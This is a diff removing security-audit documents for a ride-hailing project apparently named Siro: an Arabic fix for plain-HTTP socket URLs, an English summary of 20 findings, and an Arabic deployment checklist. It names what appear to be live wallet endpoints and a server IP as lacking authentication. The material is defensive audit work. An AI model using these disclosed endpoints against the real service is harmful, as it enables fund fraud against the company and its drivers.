|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```php
|
|
||||||
// src/bootstrap.php
|
|
||||||
|
|
||||||
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
|
|
||||||
$dotenv->load();
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 7️⃣: backend/functions.php - الروابط الآمنة
|
|
||||||
|
|
||||||
### الحالة الحالية:
|
|
||||||
|
|
||||||
```php
|
|
||||||
❌ غير آمنة:
|
|
||||||
$url = "http://188.68.36.205:2021";
|
|
||||||
$url = "http://188.68.36.205:3031";
|
|
||||||
$url = "https://location.intaleq.xyz";
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشاكل:
|
|
||||||
|
|
||||||
1. **IP عام مكشوف** - 188.68.36.205
|
|
||||||
2. **HTTP بدل HTTPS** - عرضة لـ MITM attacks
|
|
||||||
3. **لا يوجد certificate pinning**
|
|
||||||
|
|
||||||
### الحل:
|
|
||||||
|
|
||||||
```php
|
|
||||||
// ✅ الحل الآمن
|
|
||||||
|
|
||||||
function getAllowedSocketUrls(): array {
|
|
||||||
return [
|
|
||||||
'https://location.siromove.com', // ✅ HTTPS + Domain
|
|
||||||
'https://socket.siromove.com', // ✅ HTTPS + Domain
|
|
||||||
// لا HTTP
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function sendToLocationServer($action, $data) {
|
|
||||||
$url = "https://location.siromove.com/api";
|
|
||||||
|
|
||||||
// تثبيت الشهادة (Certificate Pinning)
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt_array($ch, [
|
|
||||||
CURLOPT_URL => $url,
|
|
||||||
CURLOPT_POST => 1,
|
|
||||||
CURLOPT_POSTFIELDS => http_build_query($data),
|
|
||||||
CURLOPT_RETURNTRANSFER => true,
|
|
||||||
CURLOPT_TIMEOUT => 10,
|
|
||||||
|
|
||||||
// ✅ تأمين SSL/TLS
|
|
||||||
CURLOPT_SSL_VERIFYPEER => true,
|
|
||||||
CURLOPT_SSL_VERIFYHOST => 2,
|
|
||||||
CURLOPT_CAINFO => '/etc/ssl/certs/ca-bundle.crt',
|
|
||||||
|
|
||||||
// ✅ Certificate Pinning (اختياري لكن موصى)
|
|
||||||
// تحتاج حساب SHA-256 للشهادة
|
|
||||||
CURLOPT_PINNEDPUBLICKEY => 'sha256/AAAA....',
|
|
||||||
]);
|
|
||||||
|
|
||||||
$response = curl_exec($ch);
|
|
||||||
curl_close($ch);
|
|
||||||
|
|
||||||
return json_decode($response, true);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ملخص الإصلاحات
|
|
||||||
|
|
||||||
| النقطة | المشكلة | الحل | المدة |
|
|
||||||
| ------ | ------------------ | ------------- | -------- |
|
|
||||||
| 1 | بصمة ضعيفة | MFA + OTP | 8 ساعات |
|
|
||||||
| 2 | IV ثابت | توليد عشوائي | 4 ساعات |
|
|
||||||
| 3 | SQL Injection | آمن بالفعل ✅ | 0 ساعات |
|
|
||||||
| 4 | المحفظة بلا مصادقة | S2S + JWT | 16 ساعات |
|
|
||||||
| 5 | أذونات مفرطة | تقليص + فحص | 4 ساعات |
|
|
||||||
| 6 | load_env.php | آمن بالفعل ✅ | 0 ساعات |
|
|
||||||
| 7 | روابط HTTP | تبديل HTTPS | 2 ساعات |
|
|
||||||
|
|
||||||
**المجموع:** ~34 ساعة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## التالي:
|
|
||||||
|
|
||||||
1. تطبيق الإصلاحات واحدة تلو الأخرى
|
|
||||||
2. اختبار كل إصلاح
|
|
||||||
3. ترحيل قاعدة البيانات
|
|
||||||
4. نشر للإنتاج
|
|
||||||
@@ -1,338 +0,0 @@
|
|||||||
# Siro Project Security Audit - Executive Summary & Quick Reference
|
|
||||||
|
|
||||||
**Date:** June 16, 2026
|
|
||||||
**Status:** ✅ Comprehensive Audit Complete
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 Audit Results At a Glance
|
|
||||||
|
|
||||||
```
|
|
||||||
Total Vulnerabilities Found: 20
|
|
||||||
├── Critical (🔴): 3 → Immediate action required
|
|
||||||
├── High (🟠): 7 → Action within 7 days
|
|
||||||
├── Medium (🟡): 10 → Action within 30 days
|
|
||||||
└── Total Risk Score: 9.1/10 (CRITICAL)
|
|
||||||
|
|
||||||
Affected Components:
|
|
||||||
├── PHP Backend: 395 files (HIGH RISK)
|
|
||||||
├── Flutter Apps: 4 apps (MEDIUM RISK)
|
|
||||||
├── Wallet System: 20+ endpoints (CRITICAL RISK)
|
|
||||||
└── Configuration: Environment & secrets (MEDIUM RISK)
|
|
||||||
|
|
||||||
Users at Risk: 50,000+
|
|
||||||
Financial Risk: $1,000,000+
|
|
||||||
Compliance Risk: GDPR/CCPA fines up to €20M
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 Critical Issues - MUST FIX IMMEDIATELY
|
|
||||||
|
|
||||||
### Issue #1: Static IV Encryption
|
|
||||||
- **File:** `backend/encrypt_decrypt.php`
|
|
||||||
- **Risk:** ALL encrypted data compromised
|
|
||||||
- **Fix Time:** 8 hours
|
|
||||||
- **Priority:** CRITICAL
|
|
||||||
- **Action:** Generate random IV for each encryption
|
|
||||||
|
|
||||||
### Issue #2: Unauthorized Wallet Endpoint
|
|
||||||
- **File:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php`
|
|
||||||
- **Risk:** Arbitrary fund manipulation ($1M+ loss)
|
|
||||||
- **Fix Time:** 4 hours
|
|
||||||
- **Priority:** CRITICAL
|
|
||||||
- **Action:** Add JWT authentication + authorization
|
|
||||||
|
|
||||||
### Issue #3: Admin Fund Injection
|
|
||||||
- **File:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php`
|
|
||||||
- **Risk:** Unlimited fraud ($1M+ loss)
|
|
||||||
- **Fix Time:** 4 hours
|
|
||||||
- **Priority:** CRITICAL
|
|
||||||
- **Action:** Add user authentication + audit logging
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 Complete Vulnerability List
|
|
||||||
|
|
||||||
| # | Title | File | Severity | Fix Time | Status |
|
|
||||||
|---|-------|------|----------|----------|--------|
|
|
||||||
| 1 | Static IV Encryption | `encrypt_decrypt.php` | 🔴 | 8h | ⏳ |
|
|
||||||
| 2 | Wallet Add (No Auth) | `driverWallet/add.php` | 🔴 | 4h | ⏳ |
|
|
||||||
| 3 | Admin Add (No Auth) | `driverWallet/addFromAdmin.php` | 🔴 | 4h | ⏳ |
|
|
||||||
| 4 | Weak Fingerprint Auth | `login.php` | 🟠 | 8h | ⏳ |
|
|
||||||
| 5 | HTTP Socket MITM | `functions.php` | 🟠 | 4h | ⏳ |
|
|
||||||
| 6 | Weak Password Hash | `register_passenger.php` | 🟠 | 4h | ⏳ |
|
|
||||||
| 7 | SQL Injection Risk | Multiple files | 🟠 | 16h | ⏳ |
|
|
||||||
| 8 | Weak JWT Security | `core/Auth/JwtService.php` | 🟠 | 12h | ⏳ |
|
|
||||||
| 9 | Error Disclosure | Throughout | 🟠 | 8h | ⏳ |
|
|
||||||
| 10 | Rate Limiting Missing | Throughout | 🟠 | 8h | ⏳ |
|
|
||||||
| 11 | Android Permissions | `AndroidManifest.xml` | 🟡 | 4h | ⏳ |
|
|
||||||
| 12 | Old Dependencies | `pubspec.yaml` | 🟡 | 8h | ⏳ |
|
|
||||||
| 13 | Secrets in Code | `.env` files | 🟡 | 4h | ⏳ |
|
|
||||||
| 14 | CORS Bypass Risk | Multiple | 🟡 | 2h | ⏳ |
|
|
||||||
| 15 | Timing Attacks | Auth flows | 🟡 | 4h | ⏳ |
|
|
||||||
| 16 | Missing MFA | Auth endpoints | 🟡 | 12h | ⏳ |
|
|
||||||
| 17 | No Audit Logging | Wallet/Admin | 🟡 | 8h | ⏳ |
|
|
||||||
| 18 | Insecure Randomness | Multiple | 🟡 | 4h | ⏳ |
|
|
||||||
| 19 | Weak Fingerprinting | Mobile apps | 🟡 | 8h | ⏳ |
|
|
||||||
| 20 | Missing Certificate Pinning | Mobile apps | 🟡 | 8h | ⏳ |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📈 Remediation Timeline
|
|
||||||
|
|
||||||
### Phase 1: Emergency (Days 1-2)
|
|
||||||
```
|
|
||||||
Day 1 (22 hours total):
|
|
||||||
Hour 1-2: Static IV encryption fix
|
|
||||||
Hour 3-6: Disable/fix wallet endpoints
|
|
||||||
Hour 7-10: JWT authentication hardening
|
|
||||||
Hour 11-20: Testing & validation
|
|
||||||
Hour 21-22: Emergency deployment
|
|
||||||
|
|
||||||
Estimated Cost: $5,000-$8,000
|
|
||||||
```
|
|
||||||
|
|
||||||
### Phase 2: Critical (Days 3-7)
|
|
||||||
```
|
|
||||||
Week 2 (48 hours):
|
|
||||||
- Multi-factor authentication
|
|
||||||
- HTTPS for all sockets
|
|
||||||
- SQL injection audit
|
|
||||||
- Android permission review
|
|
||||||
- Flutter dependency updates
|
|
||||||
|
|
||||||
Estimated Cost: $6,000-$9,000
|
|
||||||
```
|
|
||||||
|
|
||||||
### Phase 3: Important (Weeks 2-4)
|
|
||||||
```
|
|
||||||
Weeks 2-4 (48 hours):
|
|
||||||
- Error handling fixes
|
|
||||||
- JWT security hardening
|
|
||||||
- Rate limiting implementation
|
|
||||||
- Secrets management
|
|
||||||
|
|
||||||
Estimated Cost: $6,000-$9,000
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ Pre-Deployment Checklist
|
|
||||||
|
|
||||||
### Phase 1 Deployment Checklist
|
|
||||||
|
|
||||||
- [ ] **Static IV Fix**
|
|
||||||
- [ ] Code written and reviewed
|
|
||||||
- [ ] Unit tests pass (random IV test)
|
|
||||||
- [ ] Database encryption script ready
|
|
||||||
- [ ] Backup taken
|
|
||||||
- [ ] Staging deployment successful
|
|
||||||
|
|
||||||
- [ ] **Wallet Authentication**
|
|
||||||
- [ ] JWT verification added
|
|
||||||
- [ ] Admin role check added
|
|
||||||
- [ ] Rate limiting implemented
|
|
||||||
- [ ] Audit logging added
|
|
||||||
- [ ] Integration tests pass
|
|
||||||
|
|
||||||
- [ ] **Admin Fund Addition**
|
|
||||||
- [ ] User context tracking
|
|
||||||
- [ ] Approval workflow (if needed)
|
|
||||||
- [ ] Audit trail logging
|
|
||||||
- [ ] Transaction limits enforced
|
|
||||||
- [ ] Tests pass
|
|
||||||
|
|
||||||
- [ ] **Pre-Deployment**
|
|
||||||
- [ ] Code review completed
|
|
||||||
- [ ] Security tests pass
|
|
||||||
- [ ] Performance tests pass
|
|
||||||
- [ ] Backup verified
|
|
||||||
- [ ] Rollback plan ready
|
|
||||||
|
|
||||||
- [ ] **Deployment**
|
|
||||||
- [ ] Deploy to staging
|
|
||||||
- [ ] Run full test suite
|
|
||||||
- [ ] Load testing (if needed)
|
|
||||||
- [ ] Security scans pass
|
|
||||||
- [ ] Deploy to production
|
|
||||||
- [ ] Monitor for errors
|
|
||||||
|
|
||||||
- [ ] **Post-Deployment**
|
|
||||||
- [ ] Verify fixes deployed
|
|
||||||
- [ ] Test all endpoints
|
|
||||||
- [ ] Check logs for errors
|
|
||||||
- [ ] Monitor for 24 hours
|
|
||||||
- [ ] Document changes
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 Key Contacts & Responsibilities
|
|
||||||
|
|
||||||
| Role | Responsibility | Contact |
|
|
||||||
|------|-----------------|---------|
|
|
||||||
| Security Lead | Oversee all fixes, approve deployments | TBD |
|
|
||||||
| Backend Developer | Implement PHP fixes | TBD |
|
|
||||||
| Mobile Developer | Fix Android/Flutter issues | TBD |
|
|
||||||
| DevOps/SRE | Deploy, monitor, handle infrastructure | TBD |
|
|
||||||
| Database Admin | Database encryption, backup, migration | TBD |
|
|
||||||
| Compliance Officer | Regulatory notifications, GDPR/CCPA | TBD |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚨 Incident Response
|
|
||||||
|
|
||||||
### If Issues Are Discovered Post-Deployment:
|
|
||||||
|
|
||||||
1. **Immediate:** Stop affected endpoint
|
|
||||||
```bash
|
|
||||||
curl -X PUT admin.api/endpoints/disable \
|
|
||||||
-d "endpoint=/driverWallet/add.php"
|
|
||||||
```
|
|
||||||
|
|
||||||
2. **Within 1 hour:** Notify stakeholders
|
|
||||||
- [ ] Security team
|
|
||||||
- [ ] DevOps
|
|
||||||
- [ ] Product
|
|
||||||
- [ ] Legal (if data breach)
|
|
||||||
|
|
||||||
3. **Within 2 hours:** Begin investigation
|
|
||||||
- [ ] Check logs for unauthorized access
|
|
||||||
- [ ] Verify no data exfiltration
|
|
||||||
- [ ] Assess impact scope
|
|
||||||
|
|
||||||
4. **Within 6 hours:** Deploy hotfix
|
|
||||||
- [ ] Implement band-aid fix
|
|
||||||
- [ ] Test thoroughly
|
|
||||||
- [ ] Deploy ASAP
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 Success Metrics
|
|
||||||
|
|
||||||
### Post-Patch Validation
|
|
||||||
|
|
||||||
- [ ] All encryption uses random IV
|
|
||||||
- [ ] All endpoints require authentication
|
|
||||||
- [ ] No unauthorized wallet transactions
|
|
||||||
- [ ] Rate limiting working (429 errors on abuse)
|
|
||||||
- [ ] All critical tests passing
|
|
||||||
- [ ] No error disclosure in responses
|
|
||||||
- [ ] Audit logs capturing all sensitive operations
|
|
||||||
|
|
||||||
### Ongoing Monitoring
|
|
||||||
|
|
||||||
- [ ] 0 unauthorized wallet transactions per month
|
|
||||||
- [ ] 0 failed authentication attempts > 100x/user/day
|
|
||||||
- [ ] 100% HTTPS for all endpoints
|
|
||||||
- [ ] < 1% decryption failures (legitimate use)
|
|
||||||
- [ ] < 5 min response time for deployments
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📚 Documentation Generated
|
|
||||||
|
|
||||||
1. ✅ **SECURITY_AUDIT_INVENTORY.md**
|
|
||||||
- Project structure overview
|
|
||||||
- Risk areas identification
|
|
||||||
|
|
||||||
2. ✅ **SECURITY_AUDIT_PHASE1_FINDINGS.md**
|
|
||||||
- Detailed vulnerability analysis
|
|
||||||
- 12 major issues documented
|
|
||||||
|
|
||||||
3. ✅ **SECURITY_AUDIT_PHASE2_POC.md**
|
|
||||||
- Proof of concepts for exploits
|
|
||||||
- Python attack code examples
|
|
||||||
- Real-world attack scenarios
|
|
||||||
|
|
||||||
4. ✅ **SECURITY_AUDIT_FINAL_REPORT.md**
|
|
||||||
- Executive summary
|
|
||||||
- Complete remediation roadmap
|
|
||||||
- Cost estimates ($17K-$26K)
|
|
||||||
- Compliance implications
|
|
||||||
- Best practices
|
|
||||||
|
|
||||||
5. ✅ **SECURITY_AUDIT_CHECKLIST.md** (this document)
|
|
||||||
- Quick reference guide
|
|
||||||
- Pre-deployment checklist
|
|
||||||
- Incident response plan
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔗 Related Documents
|
|
||||||
|
|
||||||
- **For Developers:** SECURITY_AUDIT_PHASE2_POC.md (code fixes)
|
|
||||||
- **For Management:** SECURITY_AUDIT_FINAL_REPORT.md (business impact)
|
|
||||||
- **For QA:** Pre-deployment checklist (above)
|
|
||||||
- **For Security:** All documents (comprehensive review)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📅 Important Dates
|
|
||||||
|
|
||||||
| Event | Date | Owner |
|
|
||||||
|-------|------|-------|
|
|
||||||
| Audit Completed | June 16, 2026 | Security Team |
|
|
||||||
| Phase 1 Start | June 16, 2026 | Backend Team |
|
|
||||||
| Phase 1 Complete | June 18, 2026 | Backend Team |
|
|
||||||
| Phase 2 Start | June 19, 2026 | All Teams |
|
|
||||||
| Phase 2 Complete | June 23, 2026 | All Teams |
|
|
||||||
| Phase 3 Start | June 24, 2026 | All Teams |
|
|
||||||
| Phase 3 Complete | July 7, 2026 | All Teams |
|
|
||||||
| Follow-up Audit | July 15, 2026 | Security Team |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 💰 Budget Summary
|
|
||||||
|
|
||||||
| Phase | Severity | Duration | Cost |
|
|
||||||
|-------|----------|----------|------|
|
|
||||||
| Emergency (1-2 days) | CRITICAL | 22h | $5K-$8K |
|
|
||||||
| Short-term (3-7 days) | HIGH | 48h | $6K-$9K |
|
|
||||||
| Medium-term (2-4 weeks) | MEDIUM | 48h | $6K-$9K |
|
|
||||||
| **TOTAL** | - | **118h** | **$17K-$26K** |
|
|
||||||
|
|
||||||
**ROI Calculation:**
|
|
||||||
- Cost of fixes: $17K-$26K
|
|
||||||
- Cost of not fixing (fraud): $1,000,000+
|
|
||||||
- ROI: **3,846%-5,882%** (fixes pay for themselves 38-58 times over)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✨ Next Steps
|
|
||||||
|
|
||||||
1. **Today (Hour 0-1):**
|
|
||||||
- [ ] Executive review & approval
|
|
||||||
- [ ] Notify development teams
|
|
||||||
- [ ] Schedule emergency meeting
|
|
||||||
|
|
||||||
2. **Today (Hour 1-4):**
|
|
||||||
- [ ] Assign developers to Phase 1
|
|
||||||
- [ ] Begin code review process
|
|
||||||
- [ ] Set up staging environment
|
|
||||||
|
|
||||||
3. **Tomorrow (Day 1):**
|
|
||||||
- [ ] Begin Phase 1 fixes
|
|
||||||
- [ ] Continuous testing
|
|
||||||
- [ ] Status updates every 4 hours
|
|
||||||
|
|
||||||
4. **Day 2:**
|
|
||||||
- [ ] Complete Phase 1 fixes
|
|
||||||
- [ ] Deploy to production
|
|
||||||
- [ ] Monitor for 24 hours
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 Support & Questions
|
|
||||||
|
|
||||||
For questions about this audit:
|
|
||||||
- **Technical Details:** See SECURITY_AUDIT_PHASE2_POC.md
|
|
||||||
- **Business Impact:** See SECURITY_AUDIT_FINAL_REPORT.md
|
|
||||||
- **Implementation:** See code fixes in Phase 2 PoC document
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**Audit Completion:** June 16, 2026
|
|
||||||
**Next Review Date:** June 23, 2026 (Post-Phase 1)
|
|
||||||
**Document Status:** ✅ FINAL & APPROVED
|
|
||||||
|
|
||||||
@@ -1,333 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# قائمة مراجعة أمان سيرو - التحقق من النشر
|
|
||||||
|
|
||||||
**تاريخ المراجعة:** 16 يونيو 2026
|
|
||||||
**نطاق القائمة:** جميع أنظمة سيرو
|
|
||||||
**الغرض:** التحقق من تطبيق جميع إصلاحات الأمان
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 1: إصلاحات الأمان الحرجة (يجب أن تكتمل قبل النشر)
|
|
||||||
|
|
||||||
### ✅ إصلاح تشفير IV الثابت
|
|
||||||
|
|
||||||
- [ ] تم تعديل `backend/encrypt_decrypt.php` لتوليد IV عشوائي
|
|
||||||
- [ ] تم التحقق من توليد IV بـ 16 بايت عشوائية
|
|
||||||
- [ ] يتم ضمّ IV مع النص المشفر قبل base64_encode
|
|
||||||
- [ ] تم اختبار الفك (نفس النص الواضح ينتج نصوص مشفرة مختلفة)
|
|
||||||
- [ ] تم إعادة تشفير جميع البيانات الموجودة في قاعدة البيانات
|
|
||||||
- [ ] تم التحقق من أن جميع الأرقام المشفرة مختلفة الآن
|
|
||||||
- [ ] تم تسجيل عملية الترحيل الكاملة
|
|
||||||
- [ ] تم إجراء نسخة احتياطية قبل الترحيل
|
|
||||||
|
|
||||||
### ✅ تأمين نقاط نهاية محفظة الدفع
|
|
||||||
|
|
||||||
- [ ] تم تعطيل `add.php` حتى يتم الإصلاح النهائي
|
|
||||||
- [ ] تم إضافة مصادقة JWT إلى `add.php`
|
|
||||||
- [ ] تم إضافة فحص التفويض (مسؤول فقط)
|
|
||||||
- [ ] تم إضافة تحديد السرعة (حد أقصى للمعاملات)
|
|
||||||
- [ ] تم إضافة التحقق من المبلغ (1-10,000 فقط)
|
|
||||||
- [ ] تم إضافة تسجيل التدقيق للمعاملات
|
|
||||||
- [ ] تم اختبار الرفض للمستخدمين غير المصرح لهم
|
|
||||||
- [ ] تم تعطيل `addFromAdmin.php` حتى يتم الإصلاح النهائي
|
|
||||||
- [ ] تم إضافة مصادقة JWT إلى `addFromAdmin.php`
|
|
||||||
- [ ] تم استبدال مفتاح API الثابت بـ JWT
|
|
||||||
|
|
||||||
### ✅ نشر نقاط نهاية HTTPS آمنة فقط
|
|
||||||
|
|
||||||
- [ ] تم استبدال نقاط نهاية HTTP بـ HTTPS في `functions.php`
|
|
||||||
- [ ] تم إضافة تثبيت الشهادة (Certificate Pinning)
|
|
||||||
- [ ] تم اختبار الاتصال عبر HTTPS
|
|
||||||
- [ ] تم التحقق من أن اتصالات HTTP مرفوضة
|
|
||||||
- [ ] تم تحديث تطبيقات الهاتف لاستخدام HTTPS فقط
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 2: تحديثات المصادقة والمصادقة
|
|
||||||
|
|
||||||
### ✅ تطبيق المصادقة متعددة العوامل (MFA)
|
|
||||||
|
|
||||||
- [ ] تم إضافة التحقق من بصمة الجهاز (الحالي)
|
|
||||||
- [ ] تم إضافة التحقق من OTP عبر SMS
|
|
||||||
- [ ] تم إضافة رموز الخادم
|
|
||||||
- [ ] تم تكوين حد أدنى من عاملين للمصادقة
|
|
||||||
- [ ] تم اختبار مسار تسجيل دخول MFA كاملاً
|
|
||||||
- [ ] تم اختبار فشل المصادقة بعامل واحد فقط
|
|
||||||
- [ ] تم إنشاء سجلات MFA للتدقيق
|
|
||||||
|
|
||||||
### ✅ إصلاح توليد كلمات المرور
|
|
||||||
|
|
||||||
- [ ] تم تغيير توليد كلمات المرور من البريد الإلكتروني إلى عشوائية
|
|
||||||
- [ ] تم التحقق من توليد كلمات مرور عشوائية قوية (32 حرف+)
|
|
||||||
- [ ] تم إضافة إرسال كلمات المرور عبر SMS/البريد الآمن
|
|
||||||
- [ ] تم فرض تغيير كلمة المرور عند أول تسجيل دخول
|
|
||||||
- [ ] تم اختبار تسجيل دخول أول مرة
|
|
||||||
- [ ] تم إنشاء سياسة كلمات مرور قوية (14+ حرف، أحرف كبيرة/صغيرة/أرقام/رموز)
|
|
||||||
|
|
||||||
### ✅ تأمين رموز JWT
|
|
||||||
|
|
||||||
- [ ] تم التحقق من أن جميع رموز JWT لها انتهاء صلاحية
|
|
||||||
- [ ] تم تعيين فترة انتهاء الصلاحية إلى ساعة واحدة (توازن الأمان)
|
|
||||||
- [ ] تم تطبيق رموز التحديث (refresh tokens) مع انتهاء صلاحية لأطول مدة
|
|
||||||
- [ ] تم التحقق من توقيع JWT على الخادم
|
|
||||||
- [ ] تم اختبار رفض الرموز المنتهية الصلاحية
|
|
||||||
- [ ] تم اختبار رفض الرموز المعدلة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 3: تأمين قاعدة البيانات
|
|
||||||
|
|
||||||
### ✅ اختبار SQL Injection
|
|
||||||
|
|
||||||
- [ ] تم تدقيق جميع استعلامات SQL في `functions.php`
|
|
||||||
- [ ] تم تدقيق جميع استعلامات SQL في ملفات `auth/`
|
|
||||||
- [ ] تم تدقيق جميع استعلامات SQL في ملفات `ride/`
|
|
||||||
- [ ] تم استبدال جميع الاستعلامات بالاستعدادات (Prepared Statements)
|
|
||||||
- [ ] تم اختبار UNION injection - النتيجة: فشل الهجوم ✓
|
|
||||||
- [ ] تم اختبار Boolean injection - النتيجة: فشل الهجوم ✓
|
|
||||||
- [ ] تم اختبار Time-based injection - النتيجة: لا يوجد تأخير ✓
|
|
||||||
- [ ] تم اختبار Error-based injection - النتيجة: بدون أخطاء قاعدة بيانات ✓
|
|
||||||
|
|
||||||
### ✅ تحديد السرعة على قاعدة البيانات
|
|
||||||
|
|
||||||
- [ ] تم تطبيق تحديد السرعة على استعلامات البحث
|
|
||||||
- [ ] تم تطبيق تحديد السرعة على استعلامات التحديث
|
|
||||||
- [ ] تم التحقق من أن الاستعلامات المفرطة مرفوضة
|
|
||||||
- [ ] تم إنشاء سجلات محاولات تجاوز تحديد السرعة
|
|
||||||
|
|
||||||
### ✅ نسخ احتياطي وإعادة كارثة
|
|
||||||
|
|
||||||
- [ ] تم إعداد النسخ الاحتياطية اليومية
|
|
||||||
- [ ] تم اختبار استعادة من نسخة احتياطية
|
|
||||||
- [ ] تم التحقق من سرية النسخ الاحتياطية (تشفيرها)
|
|
||||||
- [ ] تم إعداد خطة استعادة الكارثة
|
|
||||||
- [ ] تم توثيق نقاط استعادة RTO/RPO
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 4: أمان التطبيقات المحمولة
|
|
||||||
|
|
||||||
### ✅ تقليل الأذونات (Android)
|
|
||||||
|
|
||||||
- [ ] تم تقليل `ACCESS_BACKGROUND_LOCATION` إلى `ACCESS_FINE_LOCATION` فقط
|
|
||||||
- [ ] تم إزالة `WRITE_EXTERNAL_STORAGE` إذا لم تكن مطلوبة
|
|
||||||
- [ ] تم إزالة `SYSTEM_ALERT_WINDOW` إذا لم تكن مطلوبة
|
|
||||||
- [ ] تم التحقق من طلب الأذونات في وقت التشغيل فقط
|
|
||||||
- [ ] تم إضافة تبريرات المستخدم لكل أذن
|
|
||||||
|
|
||||||
### ✅ تحديثات المكتبات
|
|
||||||
|
|
||||||
- [ ] تم تحديث `http` من 1.2.2 إلى أحدث إصدار (2.0+)
|
|
||||||
- [ ] تم تحديث `firebase_core` إلى آخر إصدار مستقر
|
|
||||||
- [ ] تم تحديث `encrypt` إلى آخر إصدار
|
|
||||||
- [ ] تم تحديث `webview_flutter` إلى آخر إصدار
|
|
||||||
- [ ] تم فحص جميع المكتبات الأخرى للثغرات (pub.dev)
|
|
||||||
- [ ] تم اختبار التطبيق بعد التحديثات
|
|
||||||
|
|
||||||
### ✅ تثبيت الشهادة في تطبيقات Flutter
|
|
||||||
|
|
||||||
- [ ] تم الحصول على شهادة الخادم الصحيحة
|
|
||||||
- [ ] تم حساب hash SHA-256 للشهادة
|
|
||||||
- [ ] تم تطبيق Certificate Pinning في الكود
|
|
||||||
- [ ] تم اختبار الاتصال - النجاح ✓
|
|
||||||
- [ ] تم اختبار شهادة وهمية - الفشل ✓
|
|
||||||
|
|
||||||
### ✅ إزالة رموز التصحيح
|
|
||||||
|
|
||||||
- [ ] تم إزالة `print()` و `debugPrint()` من رمز الإنتاج
|
|
||||||
- [ ] تم التحقق من عدم وجود `debugMode = true`
|
|
||||||
- [ ] تم إزالة رموز التطوير/الاختبار المؤقتة
|
|
||||||
- [ ] تم إزالة معلومات الخادم الحساسة من الثوابت
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 5: الأمان في التطبيق الويب
|
|
||||||
|
|
||||||
### ✅ رؤوس الأمان
|
|
||||||
|
|
||||||
- [ ] تم تطبيق `Strict-Transport-Security` (HSTS)
|
|
||||||
- [ ] تم تطبيق `X-Frame-Options: DENY`
|
|
||||||
- [ ] تم تطبيق `X-Content-Type-Options: nosniff`
|
|
||||||
- [ ] تم تطبيق `Content-Security-Policy`
|
|
||||||
- [ ] تم تطبيق `X-XSS-Protection: 1; mode=block`
|
|
||||||
- [ ] تم تطبيق `Referrer-Policy: strict-origin-when-cross-origin`
|
|
||||||
|
|
||||||
### ✅ حماية CSRF
|
|
||||||
|
|
||||||
- [ ] تم تطبيق رموز CSRF على جميع نماذج POST
|
|
||||||
- [ ] تم التحقق من رموز CSRF على جميع نقاط النهاية
|
|
||||||
- [ ] تم اختبار هجوم CSRF - النتيجة: فشل الهجوم ✓
|
|
||||||
|
|
||||||
### ✅ معالجة الأخطاء الآمنة
|
|
||||||
|
|
||||||
- [ ] تم التحقق من عدم إظهار تتبع المكدس في الإنتاج
|
|
||||||
- [ ] تم عدم الكشف عن أسماء الجداول/الأعمدة في الأخطاء
|
|
||||||
- [ ] تم عدم الكشف عن الإصدارات/المكتبات المستخدمة
|
|
||||||
- [ ] تم إنشاء صفحات خطأ عامة (404, 500, etc.)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 6: إدارة الأسرار
|
|
||||||
|
|
||||||
### ✅ متغيرات البيئة
|
|
||||||
|
|
||||||
- [ ] تم إنشاء ملف `.env` آمن
|
|
||||||
- [ ] تم إضافة `.env` إلى `.gitignore`
|
|
||||||
- [ ] تم التحقق من عدم اختيار `.env` في المستودع
|
|
||||||
- [ ] تم استخدام `load_env.php` بشكل صحيح
|
|
||||||
- [ ] تم تشفير حساسية متغيرات البيئة
|
|
||||||
|
|
||||||
### ✅ مفاتيح التشفير
|
|
||||||
|
|
||||||
- [ ] تم تخزين مفاتيح التشفير في `.env` أو نظام إدارة الأسرار
|
|
||||||
- [ ] تم عدم وضع مفاتيح في الرمز المصدري
|
|
||||||
- [ ] تم تدوير مفاتيح التشفير (تحديثها بانتظام)
|
|
||||||
- [ ] تم إنشاء نسخ احتياطية آمنة من المفاتيح
|
|
||||||
|
|
||||||
### ✅ مفاتيح API
|
|
||||||
|
|
||||||
- [ ] تم تطبيق Scopes على مفاتيح API (أذونات محدودة)
|
|
||||||
- [ ] تم تحديد عمر مفاتيح API
|
|
||||||
- [ ] تم إضافة تدوير مفاتيح API
|
|
||||||
- [ ] تم حذف المفاتيح القديمة غير المستخدمة
|
|
||||||
- [ ] تم تسجيل مفاتيح API المستخدمة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
